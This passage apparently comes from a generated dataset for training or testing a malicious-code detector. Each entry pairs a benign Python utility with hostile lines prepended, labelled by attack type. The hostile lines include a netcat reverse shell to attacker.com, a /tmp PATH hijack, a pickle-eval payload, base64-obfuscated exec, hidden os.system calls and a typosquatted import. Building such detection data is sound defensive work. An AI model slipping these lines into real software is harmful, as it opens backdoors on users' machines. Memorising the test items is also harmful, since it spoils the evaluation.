\"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_24c57186", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ae79663f", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_b1427889", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_56dd6fd3", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_93ebcabd", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_e4bcf9b7", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_eda23704", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_d8c52ab8", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_3d604a64", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_acd27702", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_65a24fe7", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_17fa613e", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_23b273ca", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f88f84ab", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c50fe361", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_21bb7caa", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1e3f23e4", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_45f66d59", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_a29e1c05", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_757f0a86", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8839cc53", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_c3afbd7f", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ca6c8251", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_2cb05725", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_cdfd3219", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_54dc67b2", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b9e728f2", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_acf60508", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a862b087", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_02859a3f", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f5b22c41", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_419b560b", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_844bfa39", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_26272a6f", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_83cebb25", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_e2af9c50", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_60a299f2", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e0c7cc1f", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a7eecc3f", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f1c2f123", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_80e3a5c0", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_05a865f0", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_4ee31d57", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2d3d713a", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_94e598a8", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0f4d0f68", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_721d72a1", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8ed13be7", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b0fc8578", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8e740019", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3aa71282", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_87dae44b", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7bf83b93", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = 